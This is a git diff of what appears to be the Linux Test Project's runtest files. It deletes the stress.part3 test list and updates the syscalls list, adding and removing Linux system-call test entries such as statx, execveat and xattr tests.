-# spawns 5 children to write 100 chunks of 4090 bytes to an unnamed pipe
-# using non-blocking I/O
-pipeio_5 pipeio -T pipeio_5 -c 5 -s 5000 -i 10 -b -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to a named pipe
-# using blocking I/O
-pipeio_6 pipeio -T pipeio_6 -c 5 -s 5000 -i 10 -b -u -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to an unnamed pipe
-# using blocking I/O
-#pipeio_7 pipeio -T pipeio_7 -c 5 -s 5000 -i 10 -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to a named pipe
-# using non-blocking I/O
-# This test hits EAGAIN, which pipeio doesn't handle at the moment
-pipeio_8 pipeio -T pipeio_8 -c 5 -s 5000 -i 10 -u -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to an unnamed pipe
-# using non-blocking I/O
-
-sem01 sem01
-sem02 sem02
-
-nptl01 nptl01
diff --git a/runtest/stress.part3 b/runtest/stress.part3
deleted file mode 100644
index 242b696..0000000
--- a/runtest/stress.part3
+++ /dev/null
@@ -1,898 +0,0 @@
-#DESCRIPTION:Part three for ltpstress.sh
-abort01 abort01
-
-accept01 accept01
-
-access01 access01
-access02 access02
-access03 access03
-access04 access04
-
-acct01 acct01
-
-adjtimex01 adjtimex01
-adjtimex02 adjtimex02
-
-alarm01 alarm01
-alarm02 alarm02
-alarm03 alarm03
-alarm05 alarm05
-alarm06 alarm06
-alarm07 alarm07
-
-asyncio02 asyncio02
-
-bind01 bind01
-bind02 bind02
-
-brk01 brk01
-
-capget01 capget01
-capget02 capget02
-
-capset01 capset01
-capset02 capset02
-
-chdir01 chdir01
-chdir01A symlink01 -T chdir01
-chdir02 chdir02
-chdir03 chdir03
-chdir04 chdir04
-
-chmod01 chmod01
-chmod01A symlink01 -T chmod01
-chmod02 chmod02
-chmod03 chmod03
-chmod04 chmod04
-chmod05 chmod05
-chmod06 chmod06
-chmod07 chmod07
-
-chown01 chown01
-chown02 chown02
-chown03 chown03
-chown04 chown04
-chown05 chown05
-
-chroot01 chroot01
-chroot02 chroot02
-chroot03 chroot03
-chroot04 chroot04
-
-clone01 clone01
-clone02 clone02
-clone03 clone03
-clone04 clone04
-clone05 clone05
-clone06 clone06
-clone07 clone07
-clone08 clone08
-
-close01 close01
-close02 close02
-close08 close08
-
-confstr01 confstr01
-
-connect01 connect01
-
-creat01 creat01
-creat03 creat03
-creat04 creat04
-creat05 creat05
-creat06 creat06
-creat07 creat07
-creat08 creat08
-
-dup01 dup01
-dup02 dup02
-dup03 dup03
-dup04 dup04
-dup05 dup05
-dup06 dup06
-dup07 dup07
-
-dup201 dup201
-dup202 dup202
-dup203 dup203
-dup204 dup204
-dup205 dup205
-
-epoll_ctl01 epoll_ctl01
-epoll_ctl02 epoll_ctl02
-
-epoll_wait01 epoll_wait01
-epoll_wait02 epoll_wait02
-epoll_wait03 epoll_wait03
-
-epoll_pwait01 epoll_pwait01
-
-execl01 execl01
-execle01 execle01
-execlp01 execlp01
-
-execv01 execv01
-execve01 execve01
-execve02 execve02
-execve03 execve03
-execve04 execve04
-execve05 execve05 20 $LTPROOT/testcases/bin/execve05 $LTPROOT/testcases/bin/execve05 4
-execvp01 execvp01
-
-exit01 exit01
-exit02 exit02
-
-fchdir01 fchdir01
-fchdir02 fchdir02
-fchdir03 fchdir03
-
-fchmod01 fchmod01
-fchmod02 fchmod02
-fchmod03 fchmod03
-fchmod04 fchmod04
-fchmod05 fchmod05
-fchmod06 fchmod06
-fchmod07 fchmod07
-
-fchown01 fchown01
-fchown02 fchown02
-fchown03 fchown03
-fchown04 fchown04
-fchown05 fchown05
-
-fcntl01 fcntl01
-fcntl03 fcntl03
-fcntl04 fcntl04
-fcntl05 fcntl05
-fcntl06 fcntl06
-fcntl07 fcntl07
-fcntl08 fcntl08
-fcntl09 fcntl09
-fcntl10 fcntl10
-fcntl11 fcntl11
-fcntl12 fcntl12
-fcntl13 fcntl13
-fcntl14 fcntl14
-#fcntl16 fcntl16 #Contains errors.
-fcntl17 fcntl17
-fcntl18 fcntl18
-fcntl19 fcntl19
-fcntl20 fcntl20
-fcntl21 fcntl21
-fcntl22 fcntl22
-fcntl23 fcntl23
-fcntl24 fcntl24
-fcntl25 fcntl25
-fcntl26 fcntl26
-# The tests for these system calls  fcntl27 and fcntl28 are temporarily being disabled
-# fcntl27 fcntl27
-# fcntl28 fcntl28
-fcntl29 fcntl29
-fcntl30 fcntl30
-fcntl31 fcntl31
-fcntl32 fcntl32
-fcntl33 fcntl33
-
-fdatasync01 fdatasync01
-fdatasync02 fdatasync02
-
-flock01 flock01
-flock02 flock02
-flock03 flock03
-flock04 flock04
-flock05 flock05
-flock06 flock06
-
-fmtmsg01 fmtmsg01
-
-fork01 fork01
-fork02 fork02
-fork03 fork03
-fork04 fork04
-fork05 fork05
-fork06 fork06
-fork07 fork07
-fork08 fork08
-fork09 fork09
-fork10 fork10
-fork11 fork11
-
-fpathconf01 fpathconf01
-
-fstat01 fstat01
-fstat02 fstat02
-fstat03 fstat03
-fstat05 fstat05
-
-fstatfs01 fstatfs01
-fstatfs02 fstatfs02
-
-fsync01 fsync01
-fsync02 fsync02
-fsync03 fsync03
-
-ftruncate01 ftruncate01
-ftruncate02 ftruncate02
-ftruncate03 ftruncate03
-ftruncate04 ftruncate04
-
-getcontext01 getcontext01
-
-getcwd01 getcwd01
-getcwd02 getcwd02
-getcwd03 getcwd03
-getcwd04 getcwd04
-
-getdents01 getdents01
-getdents02 getdents02
-
-getdomainname01 getdomainname01
-
-getdtablesize01 getdtablesize01
-
-getegid01 getegid01
-
-geteuid01 geteuid01
-geteuid02 geteuid02
-
-getgid01 getgid01
-getgid03 getgid03
-
-getgroups01 getgroups01
-
-gethostid01 gethostid01
-
-gethostname01 gethostname01
-
-getitimer01 getitimer01
-getitimer02 getitimer02
-getitimer03 getitimer03
-
-getpagesize01 getpagesize01
-
-getpeername01 getpeername01
-
-getpgid01 getpgid01
-getpgid02 getpgid02
-
-getpgrp01 getpgrp01
-
-getpid01 getpid01
-getpid02 getpid02
-
-getppid01 getppid01
-getppid02 getppid02
-
-getpriority01 getpriority01
-getpriority02 getpriority02
-
-getresgid01 getresgid01
-getresgid02 getresgid02
-getresgid03 getresgid03
-
-getresuid01 getresuid01
-getresuid02 getresuid02
-getresuid03 getresuid03
-
-getrlimit01 getrlimit01
-getrlimit02 getrlimit02
-
-getrusage01 getrusage01
-getrusage02 getrusage02
-
-getsid01 getsid01
-getsid02 getsid02
-
-getsockname01 getsockname01
-
-getsockopt01 getsockopt01
-
-gettimeofday01 gettimeofday01
-gettimeofday02 gettimeofday02
-
-getuid01 getuid01
-getuid03 getuid03
-
-ioperm01 ioperm01
-ioperm02 ioperm02
-
-iopl01 iopl01
-iopl02 iopl02
-
-kill01 kill01
-kill02 kill02
-kill03 kill03
-kill04 kill04
-kill05 kill05
-kill06 kill06
-kill07 kill07
-kill08 kill08
-kill09 kill09
-kill10 kill10
-kill11 kill11
-kill12 kill12
-
-lchown01 lchown01
-lchown02 lchown02
-lchown03 lchown03
-
-link01 symlink01 -T link01
-link02 link02
-link03 link03
-link04 link04
-link05 link05
-link06 link06
-link07 link07
-link08 link08
-
-listen01 listen01
-
-llseek01 llseek01
-llseek02 llseek02
-llseek03 llseek03
-
-lseek01 lseek01
-lseek02 lseek02
-lseek07 lseek07
-lseek11 lseek11
-
-lstat01A symlink01 -T lstat01
-lstat01 lstat01
-lstat02 lstat02
-lstat03 lstat03
-
-mallopt01 mallopt01
-
-memset01 memset01
-memcmp01 memcmp01
-memcpy01 memcpy01
-
-mlockall01 mlockall01
-mlockall02 mlockall02
-mlockall03 mlockall03
-
-mkdir01 mkdir01
-mkdir02 mkdir02
-mkdir03 mkdir03
-mkdir04 mkdir04
-mkdir05 mkdir05
-mkdir05A symlink01 -T mkdir05
-mkdir08 mkdir08
-mkdir09 mkdir09
-
-mknod01 mknod01
-mknod02 mknod02
-mknod03 mknod03
-mknod04 mknod04
-mknod05 mknod05
-mknod06 mknod06
-mknod07 mknod07
-mknod08 mknod08
-mknod09 mknod09
-
-mlock01 mlock01
-mlock02 mlock02
-
-qmm01 mmap001 -m 1
-mmap01 mmap01
-mmap02 mmap02
-mmap03 mmap03
-mmap04 mmap04
-mmap05 mmap05
-mmap06 mmap06
-mmap07 mmap07
-mmap08 mmap08
-mmap09 mmap09
-mmap16 mmap16 -i 5
-
-modify_ldt01 modify_ldt01
-modify_ldt02 modify_ldt02
-modify_ldt03 modify_ldt03
-
-mprotect01 mprotect01
-mprotect02 mprotect02
-mprotect03 mprotect03
-mprotect04 mprotect04
-
-mremap01 mremap01
-mremap02 mremap02
-mremap03 mremap03
-mremap04 mremap04
-
-msgctl01 msgctl01
-msgctl02 msgctl02
-msgctl03 msgctl03
-msgctl04 msgctl04
-msgctl05 msgctl05
-msgctl06 msgctl06
-msgctl07 msgctl07
-msgctl08 msgctl08
-msgctl09 msgctl09
-
-msgget01 msgget01
-msgget02 msgget02
-msgget03 msgget03
-
-msgrcv01 msgrcv01
-msgrcv02 msgrcv02
-msgrcv03 msgrcv03
-msgrcv04 msgrcv04
-msgrcv05 msgrcv05
-msgrcv06 msgrcv06
-msgrcv07 msgrcv07
-
-msgsnd01 msgsnd01
-msgsnd02 msgsnd02
-msgsnd05 msgsnd05
-msgsnd06 msgsnd06
-
-msync01 msync01
-msync02 msync02
-msync03 msync03
-
-munlock01 munlock01
-munlock02 munlock02
-
-munlockall01 munlockall01
-munlockall02 munlockall02
-
-munmap01 munmap01
-munmap02 munmap02
-munmap03 munmap03
-
-nanosleep01 nanosleep01
-nanosleep03 nanosleep03
-nanosleep04 nanosleep04
-
-nftw01 nftw01
-nftw6401 nftw6401
-
-nice01 nice01
-nice02 nice02
-nice03 nice03
-nice04 nice04
-
-open01 open01
-open01A symlink01 -T open01
-open02 open02
-open03 open03
-open04 open04
-open05 open05
-open06 open06
-open07 open07
-open08 open08
-open09 open09
-open10 open10
-open11 open11
-open12 open12
-open13 open13
-
-pathconf01 pathconf01
-
-pause01 pause01
-pause02 pause02
-pause03 pause03
-
-pipe01 pipe01
-pipe02 pipe02
-pipe03 pipe03
-pipe04 pipe04
-pipe05 pipe05
-pipe06 pipe06
-pipe07 pipe07
-pipe08 pipe08
-pipe09 pipe09
-pipe10 pipe10
-pipe11 pipe11
-
-poll01 poll01
-
-prctl01 prctl01
-prctl02 prctl02
-
-pread01 pread01
-pread02 pread02
-pread03 pread03
-
-preadv01 preadv01
-preadv02 preadv02
-
-profil01 profil01
-
-pselect01 pselect01
-pselect02 pselect02
-
-ptrace01 ptrace01
-ptrace02 ptrace02
-ptrace03 ptrace03
-
-pwrite01 pwrite01
-pwrite02 pwrite02
-pwrite04 pwrite04
-
-pwrite01_64 pwrite01_64
-pwrite02_64 pwrite02_64
-pwrite04_64 pwrite04_64
-
-pwritev01 pwritev01
-pwritev02 pwritev02
-
-read01 read01
-read02 read02
-read03 read03
-read04 read04
-
-readdir01 readdir01
-readdir02 readdir02
-readdir21 readdir21
-
-readlink01A symlink01 -T readlink01
-readlink01 readlink01
-readlink02 readlink02
-readlink03 readlink03
-readlink04 readlink04
-
-readv01 readv01
-readv02 readv02
-readv03 readv03
-
-reboot01 reboot01
-reboot02 reboot02
-
-recv01 recv01
-
-recvfrom01 recvfrom01
-
-recvmsg01 recvmsg01
-
-rename01 rename01
-rename01A symlink01 -T rename01
-rename02 rename02
-rename03 rename03
-rename04 rename04
-rename05 rename05
-rename06 rename06
-rename07 rename07
-rename08 rename08
-rename09 rename09
-rename10 rename10
-rename11 rename11
-rename12 rename12
-rename13 rename13
-rename14 rename14
-
-rmdir01 rmdir01
-rmdir02 rmdir02
-rmdir03 rmdir03
-rmdir03A symlink01 -T rmdir03
-rmdir04 rmdir04
-rmdir05 rmdir05
-
-sbrk01 sbrk01
-sbrk02 sbrk02
-
-sched_get_priority_max01 sched_get_priority_max01
-sched_get_priority_max02 sched_get_priority_max02
-
-sched_get_priority_min01 sched_get_priority_min01
-sched_get_priority_min02 sched_get_priority_min02
-
-sched_getparam01 sched_getparam01
-sched_getparam02 sched_getparam02
-sched_getparam03 sched_getparam03
-
-sched_rr_get_interval01 sched_rr_get_interval01
-sched_rr_get_interval02 sched_rr_get_interval02
-sched_rr_get_interval03 sched_rr_get_interval03
-
-sched_setparam01 sched_setparam01
-sched_setparam02 sched_setparam02
-sched_setparam03 sched_setparam03
-sched_setparam04 sched_setparam04
-sched_setparam05 sched_setparam05
-
-sched_getscheduler01 sched_getscheduler01
-sched_getscheduler02 sched_getscheduler02
-
-sched_setscheduler01 sched_setscheduler01
-sched_setscheduler02 sched_setscheduler02
-
-sched_yield01 sched_yield01
-
-select01 select01
-select02 select02
-select03 select03
-
-semctl02 semctl02
-semctl03 semctl03
-semctl04 semctl04
-semctl05 semctl05
-semctl06 semctl06
-semctl07 semctl07
-
-semget01 semget01
-semget02 semget02
-semget03 semget03
-semget05 semget05
-semget06 semget06
-
-semop01 semop01
-semop02 semop02
-semop03 semop03
-semop04 semop04
-semop05 semop05
-
-send01 send01
-
-sendfile02 sendfile02
-sendfile03 sendfile03
-
-sendmsg01 sendmsg01
-
-sendto01 sendto01
-
-setdomainname01	setdomainname01
-setdomainname02	setdomainname02
-setdomainname03	setdomainname03
-
-setfsgid01 setfsgid01
-
-setfsuid01 setfsuid01
-
-setgid01 setgid01
-setgid02 setgid02
-setgid03 setgid03
-
-setegid01 setegid01
-setegid02 setegid02
-
-setgroups01 setgroups01
-setgroups02 setgroups02
-setgroups03 setgroups03
-setgroups04 setgroups04
-
-sethostname01 sethostname01
-sethostname02 sethostname02
-sethostname03 sethostname03
-
-setitimer01 setitimer01
-setitimer02 setitimer02
-setitimer03 setitimer03
-
-setpgid01 setpgid01
-setpgid02 setpgid02
-setpgid03 setpgid03
-
-setpgrp01 setpgrp01
-setpgrp02 setpgrp02
-
-setpriority01 setpriority01
-setpriority02 setpriority02
-
-setregid01 setregid01
-setregid02 setregid02
-setregid03 setregid03
-setregid04 setregid04
-
-setresgid01 setresgid01
-setresgid02 setresgid02
-setresgid03 setresgid03
-setresgid04 setresgid04
-
-setresuid01 setresuid01
-setresuid02 setresuid02
-setresuid03 setresuid03
-setresuid04 setresuid04
-setresuid05 setresuid05
-
-setreuid01 setreuid01
-setreuid02 setreuid02
-setreuid03 setreuid03
-setreuid04 setreuid04
-setreuid05 setreuid05
-setreuid06 setreuid06
-setreuid07 setreuid07
-
-setrlimit01 setrlimit01
-setrlimit02 setrlimit02
-setrlimit03 setrlimit03
-
-setsid01 setsid01
-
-setsockopt01 setsockopt01
-
-settimeofday01 settimeofday01
-settimeofday02 settimeofday02
-
-setuid01 setuid01
-setuid02 setuid02
-setuid03 setuid03
-setuid04 setuid04
-
-shmat01 shmat01
-shmat02 shmat02
-
-shmctl02 shmctl02
-shmctl03 shmctl03
-shmctl04 shmctl04
-
-shmdt01 shmdt01
-shmdt02 shmdt02
-
-shmget01 shmget01
-shmget02 shmget02
-shmget03 shmget03
-shmget04 shmget04
-shmget05 shmget05
-
-sigaction01 sigaction01
-sigaction02 sigaction02
-
-
-sigaltstack01 sigaltstack01
-sigaltstack02 sigaltstack02
-
-
-
-sighold02 sighold02
-
-
-signal01 signal01
-signal02 signal02
-signal03 signal03
-signal04 signal04
-signal05 signal05
-signal06 signal06
-
-sigpending02 sigpending02
-
-sigprocmask01 sigprocmask01
-
-sigrelse01 sigrelse01
-
-sigsuspend01 sigsuspend01
-
-
-socket01 socket01
-
-socketcall01 socketcall01
-socketcall02 socketcall02
-socketcall03 socketcall03
-socketcall04 socketcall04
-
-socketpair01 socketpair01
-
-sockioctl01 sockioctl01
-
-stat01 stat01
-stat02 stat02
-stat03 stat03
-stat04 symlink01 -T stat04
-stat05 stat05
-stat06 stat06
-
-statfs01 statfs01
-statfs02 statfs02
-statfs03 statfs03
-
-statvfs01 statvfs01
-statvfs02 statvfs02
-
-# This syscall is obsoleted by settimeofday.
-#stime01 stime01
-#stime02 stime02
-
-string01 string01
-
-swapoff01 swapoff01
-swapoff02 swapoff02
-
-swapon01 swapon01
-swapon02 swapon02
-swapon03 swapon03
-
-symlink01 symlink01
-symlink02 symlink02
-symlink03 symlink03
-symlink04 symlink04
-symlink05 symlink05
-
-syscall01 syscall01
-
-sysconf01 sysconf01
-
-sysctl01 sysctl01
-sysctl03 sysctl03
-sysctl04 sysctl04
-sysctl05 sysctl05
-
-sysfs01 sysfs01
-sysfs02 sysfs02
-sysfs03 sysfs03
-sysfs04 sysfs04
-sysfs05 sysfs05
-sysfs06 sysfs06
-
-sysinfo01 sysinfo01
-sysinfo02 sysinfo02
-
-# This syscall is obsoleted by gettimeofday.
-#time01 time01
-#time02 time02
-
-times01 times01
-times03 times03
-
-truncate01 truncate01
-truncate02 truncate02
-truncate03 truncate03
-
-# This syscall is obsolete.  The latest glibc does not even
-# include the ulimit.h file anymore.  The test will fail
-# because the error handling has been simplified.
-#
-# ulimit01 ulimit01
-
-umask01 umask01
-
-uname01 uname01
-uname02 uname02
-uname03 uname03
-
-unlink01 symlink01 -T unlink01
-unlink05 unlink05
-unlink06 unlink06
-unlink07 unlink07
-unlink08 unlink08
-
-utime01 utime01
-utime01A symlink01 -T utime01
-utime02 utime02
-utime03 utime03
-utime04 utime04
-utime05 utime05
-utime06 utime06
-
-vfork01 vfork01
-vfork02 vfork02
-
-vhangup01 vhangup01
-vhangup02 vhangup02
-
-wait01 wait01
-wait02 wait02
-
-wait401 wait401
-wait402 wait402
-
-waitpid01 waitpid01
-waitpid02 waitpid02
-waitpid03 waitpid03
-waitpid04 waitpid04
-waitpid05 waitpid05
-waitpid06 waitpid06
-waitpid07 waitpid07
-waitpid08 waitpid08
-waitpid09 waitpid09
-waitpid10 waitpid10
-waitpid11 waitpid11
-waitpid12 waitpid12
-waitpid13 waitpid13
-
-write01 write01
-write03 write03
-write04 write04
-write05 write05
-
-writev01 writev01
-writev02 writev02
-writev05 writev05
-writev06 writev06
-writev07 writev07
-
-pty01 pty01
-hangup01 hangup01
-
-mc_cmds mc_cmds
-mc_opts export TCsrc=$LTPROOT/testcases/network/multicast/mc_opts; mc_opts
-rpc01 rpc01
diff --git a/runtest/syscalls b/runtest/syscalls
index 97fc643..f6377a4 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -19,7 +19,6 @@
 adjtimex01 adjtimex01
 adjtimex02 adjtimex02
 
-alarm01 alarm01
 alarm02 alarm02
 alarm03 alarm03
 alarm05 alarm05
@@ -30,6 +29,7 @@
 
 bind01 bind01
 bind02 bind02
+bind03 bind03
 
 bdflush01 bdflush01
 
@@ -105,6 +105,10 @@
 creat07 creat07
 creat08 creat08
 
+delete_module01 delete_module01
+delete_module02 delete_module02
+delete_module03 delete_module03
+
 dup01 dup01
 dup02 dup02
 dup03 dup03
@@ -146,8 +150,11 @@
 execve02 execve02
 execve03 execve03
 execve04 execve04
-execve05 execve05 20 $LTPROOT/testcases/bin/execve05 $LTPROOT/testcases/bin/execve05 4
+execve05 execve05 -i 5 -n 32
 execvp01 execvp01
+execveat01 execveat01
+execveat02 execveat02
+execveat03 execveat03
 
 exit01 exit01
 exit02 exit02
@@ -164,6 +171,9 @@
 fallocate04 fallocate04
 fallocate05 fallocate05
 
+fsetxattr01 fsetxattr01
+fsetxattr02 fsetxattr02
+
 #posix_fadvise test cases
 posix_fadvise01                      posix_fadvise01
 posix_fadvise01_64                posix_fadvise01_64
@@ -184,7 +194,6 @@
 fchmod04 fchmod04
 fchmod05 fchmod05
 fchmod06 fchmod06
-fchmod07 fchmod07
 
 #fchmodat test cases
 fchmodat01 fchmodat01
@@ -280,6 +289,10 @@
 fdatasync01 fdatasync01
 fdatasync02 fdatasync02
 
+fgetxattr01 fgetxattr01
+fgetxattr02 fgetxattr02
+fgetxattr03 fgetxattr03
+
 flistxattr01 flistxattr01
 flistxattr02 flistxattr02
 flistxattr03 flistxattr03
@@ -288,7 +301,6 @@
 flock02 flock02
 flock03 flock03
 flock04 flock04
-flock05 flock05
 flock06 flock06
 
 fmtmsg01 fmtmsg01
@@ -309,6 +321,9 @@
 
 fpathconf01 fpathconf01
 
+fremovexattr01 fremovexattr01
+fremovexattr02 fremovexattr02
+
 fstat01 fstat01
 fstat01_64 fstat01_64
 fstat02 fstat02
@@ -415,15 +430,22 @@
 getrandom04 getrandom04
 
 getresgid01 getresgid01
+getresgid01_16 getresgid01_16
 getresgid02 getresgid02
+getresgid02_16 getresgid02_16
 getresgid03 getresgid03
+getresgid03_16 getresgid03_16
 
 getresuid01 getresuid01
+getresuid01_16 getresuid01_16
 getresuid02 getresuid02
+getresuid02_16 getresuid02_16
 getresuid03 getresuid03
+getresuid03_16 getresuid03_16
 
 getrlimit01 getrlimit01
 getrlimit02 getrlimit02
+getrlimit03 getrlimit03
 
 get_mempolicy01 get_mempolicy01
 get_robust_list01 get_robust_list01
@@ -455,6 +477,7 @@
 getxattr02 getxattr02
 getxattr03 getxattr03
 getxattr04 getxattr04
+getxattr05 getxattr05
 
 #Needs tty device.
 #ioctl01 ioctl01 -D /dev/tty0
@@ -478,6 +501,9 @@
 inotify04 inotify04
 inotify05 inotify05
 inotify06 inotify06
+inotify07 inotify07
+inotify08 inotify08
+inotify09 inotify09
 
 fanotify01 fanotify01
 fanotify02 fanotify02
@@ -487,6 +513,9 @@
 fanotify06 fanotify06
 fanotify07 fanotify07
 fanotify08 fanotify08
+fanotify09 fanotify09
+fanotify10 fanotify10
+fanotify11 fanotify11
 
 ioperm01 ioperm01
 ioperm02 ioperm02
@@ -563,6 +592,8 @@
 llseek02 llseek02
 llseek03 llseek03
 
+lremovexattr01 lremovexattr01
+
 lseek01 lseek01
 lseek02 lseek02
 lseek07 lseek07
@@ -587,18 +618,17 @@
 
 migrate_pages01 migrate_pages01
 migrate_pages02 migrate_pages02
+migrate_pages03 migrate_pages03
 
 mlockall01 mlockall01
 mlockall02 mlockall02
 mlockall03 mlockall03
 
-mkdir01 mkdir01
 mkdir02 mkdir02
 mkdir03 mkdir03
 mkdir04 mkdir04
 mkdir05 mkdir05
 mkdir05A symlink01 -T mkdir05
-mkdir08 mkdir08
 mkdir09 mkdir09
 
 #mkdirat test cases
@@ -624,6 +654,10 @@
 mlock03 mlock03 -i 20
 mlock04 mlock04
 
+mlock201 mlock201
+mlock202 mlock202
+mlock203 mlock203
+
 qmm01 mmap001 -m 1
 mmap01 mmap01
 mmap02 mmap02
@@ -653,17 +687,17 @@
 mount05 mount05
 mount06 mount06
 
-move_pages01 move_pages.sh 01
-move_pages02 move_pages.sh 02
-move_pages03 cd $LTPROOT/testcases/bin && chown root move_pages03 && chmod 04755 move_pages03 && move_pages.sh 03
-move_pages04 move_pages.sh 04
-move_pages05 move_pages.sh 05
-move_pages06 move_pages.sh 06
-move_pages07 move_pages.sh 07
-move_pages08 move_pages.sh 08
-move_pages09 move_pages.sh 09
-move_pages10 move_pages.sh 10
-move_pages11 cd $LTPROOT/testcases/bin && chown root move_pages11 && chmod 04755 move_pages11 && move_pages.sh 11
+move_pages01 move_pages01
+move_pages02 move_pages02
+move_pages03 move_pages03
+move_pages04 move_pages04
+move_pages05 move_pages05
+move_pages06 move_pages06
+move_pages07 move_pages07
+move_pages08 move_pages08
+move_pages09 move_pages09
+move_pages10 move_pages10
+move_pages11 move_pages11
 move_pages12 move_pages12
 
 mprotect01 mprotect01
@@ -688,15 +722,11 @@
 msgctl02 msgctl02
 msgctl03 msgctl03
 msgctl04 msgctl04
-msgctl05 msgctl05
-msgctl06 msgctl06
-msgctl07 msgctl07
-msgctl08 msgctl08
-msgctl09 msgctl09
-msgctl10 msgctl10
-msgctl11 msgctl11
+msgstress01 msgstress01
+msgstress02 msgstress02
+msgstress03 msgstress03
+msgstress04 msgstress04
 msgctl12 msgctl12
-msgctl13 msgctl13
 
 msgget01 msgget01
 msgget02 msgget02
@@ -725,7 +755,6 @@
 munlock02 munlock02
 
 munlockall01 munlockall01
-munlockall02 munlockall02
 
 munmap01 munmap01
 munmap02 munmap02
@@ -775,6 +804,7 @@
 madvise07 madvise07
 madvise08 madvise08
 madvise09 madvise09
+madvise10 madvise10
 
 newuname01 newuname01
 
@@ -802,6 +832,8 @@
 pipe2_01 pipe2_01
 pipe2_02 pipe2_02
 
+pivot_root01 pivot_root01
+
 poll01 poll01
 poll02 poll02
 
@@ -809,6 +841,7 @@
 
 prctl01 prctl01
 prctl02 prctl02
+prctl03 prctl03
 
 pread01 pread01
 pread01_64 pread01_64
@@ -821,6 +854,13 @@
 preadv01_64 preadv01_64
 preadv02 preadv02
 preadv02_64 preadv02_64
+preadv03 preadv03
+preadv03_64 preadv03_64
+
+preadv201 preadv201
+preadv201_64 preadv201_64
+preadv202 preadv202
+preadv202_64 preadv202_64
 
 profil01 profil01
 
@@ -851,16 +891,25 @@
 
 pwrite01 pwrite01
 pwrite02 pwrite02
+pwrite03 pwrite03
 pwrite04 pwrite04
 
 pwrite01_64 pwrite01_64
 pwrite02_64 pwrite02_64
+pwrite03_64 pwrite03_64
 pwrite04_64 pwrite04_64
 
 pwritev01 pwritev01
 pwritev01_64 pwritev01_64
 pwritev02 pwritev02
 pwritev02_64 pwritev02_64
+pwritev03 pwritev03
+pwritev03_64 pwritev03_64
+
+pwritev201 pwritev201
+pwritev201_64 pwritev201_64
+pwritev202 pwritev202
+pwritev202_64 pwritev202_64
 
 quotactl01 quotactl01
 quotactl02 quotactl02
@@ -880,9 +929,7 @@
 
 readlink01A symlink01 -T readlink01
 readlink01 readlink01
-readlink02 readlink02
 readlink03 readlink03
-readlink04 readlink04
 
 #readlinkat test cases
 readlinkat01 readlinkat01
@@ -892,6 +939,8 @@
 readv02 readv02
 readv03 readv03
 
+realpath01 realpath01
+
 reboot01 reboot01
 reboot02 reboot02
 
@@ -934,22 +983,24 @@
 request_key01 request_key01
 request_key02 request_key02
 request_key03 request_key03
-cve-2017-6951 cve-2017-6951
+request_key04 request_key04
+request_key05 request_key05
 
 rmdir01 rmdir01
 rmdir02 rmdir02
 rmdir03 rmdir03
 rmdir03A symlink01 -T rmdir03
-rmdir04 rmdir04
-rmdir05 rmdir05
 
 rt_sigaction01 rt_sigaction01
 rt_sigaction02 rt_sigaction02
 rt_sigaction03 rt_sigaction03
+rt_sigpending02 rt_sigpending02
 rt_sigprocmask01 rt_sigprocmask01
 rt_sigprocmask02 rt_sigprocmask02
 rt_sigqueueinfo01 rt_sigqueueinfo01
 rt_sigsuspend01 rt_sigsuspend01
+rt_sigtimedwait01 rt_sigtimedwait01
+rt_tgsigqueueinfo01 rt_tgsigqueueinfo01
 
 sbrk01 sbrk01
 sbrk02 sbrk02
@@ -992,9 +1043,21 @@
 sched_getattr02 sched_getattr02
 
 select01 select01
+select01_SYS__newselect select01_SYS__newselect
+select01_SYS_select select01_SYS_select
+select01_SYS_pselect6 select01_SYS_pselect6
 select02 select02
+select02_SYS__newselect select02_SYS__newselect
+select02_SYS_select select02_SYS_select
+select02_SYS_pselect6 select02_SYS_pselect6
 select03 select03
+select03_SYS__newselect select03_SYS__newselect
+select03_SYS_select select03_SYS_select
+select03_SYS_pselect6 select03_SYS_pselect6
 select04 select04
+select04_SYS__newselect select04_SYS__newselect
+select04_SYS_select select04_SYS_select
+select04_SYS_pselect6 select04_SYS_pselect6
 
 semctl01 semctl01
 semctl02 semctl02
@@ -1039,6 +1102,8 @@
 sendmsg01 sendmsg01
 sendmsg02 sendmsg02
 
+sendmmsg01 sendmmsg01
+
 sendto01 sendto01
 sendto02 sendto02
 
@@ -1162,15 +1227,13 @@
 
 setsockopt01 setsockopt01
 setsockopt02 setsockopt02
-cve-2016-4997 cve-2016-4997
+setsockopt03 setsockopt03
 
 settimeofday01 settimeofday01
 settimeofday02 settimeofday02
 
 setuid01 setuid01
 setuid01_16 setuid01_16
-setuid02 setuid02
-setuid02_16 setuid02_16
 setuid03 setuid03
 setuid03_16 setuid03_16
 setuid04 setuid04
@@ -1182,12 +1245,13 @@
 
 shmat01 shmat01
 shmat02 shmat02
-cve-2017-5669 cve-2017-5669
+shmat03 shmat03
 
 shmctl01 shmctl01
 shmctl02 shmctl02
 shmctl03 shmctl03
 shmctl04 shmctl04
+shmctl05 shmctl05
 
 shmdt01 shmdt01
 shmdt02 shmdt02
@@ -1227,6 +1291,8 @@
 
 sigsuspend01 sigsuspend01
 
+sigtimedwait01 sigtimedwait01
+
 sigwaitinfo01 sigwaitinfo01
 
 socket01 socket01
@@ -1303,6 +1369,8 @@
 sync01 sync01
 sync02 sync02
 
+syncfs01 syncfs01
+
 #testcases for sync_file_range
 sync_file_range01 sync_file_range01
 
@@ -1313,7 +1381,6 @@
 sysctl01 sysctl01
 sysctl03 sysctl03
 sysctl04 sysctl04
-sysctl05 sysctl05
 
 sysfs01 sysfs01
 sysfs02 sysfs02
@@ -1338,6 +1405,10 @@
 syslog11 syslog11
 syslog12 syslog12
 
+tgkill01 tgkill01
+tgkill02 tgkill02
+tgkill03 tgkill03
+
 time01 time01
 time02 time02
 
@@ -1377,11 +1448,10 @@
 uname01 uname01
 uname02 uname02
 uname03 uname03
-cve-2012-0957 cve-2012-0957
+uname04 uname04
 
 unlink01 symlink01 -T unlink01
 unlink05 unlink05
-unlink06 unlink06
 unlink07 unlink07
 unlink08 unlink08
 
@@ -1454,6 +1524,7 @@
 waitid02 waitid02
 
 write01 write01
+write02 write02
 write03 write03
 write04 write04
 write05 write05
@@ -1481,5 +1552,16 @@
 
 memfd_create01 memfd_create01
 memfd_create02 memfd_create02
+memfd_create03 memfd_create03
+memfd_create04 memfd_create04
 
 copy_file_range01 copy_file_range01
+
+statx01 statx01
+statx02 statx02
+statx03 statx03
+statx04 statx04
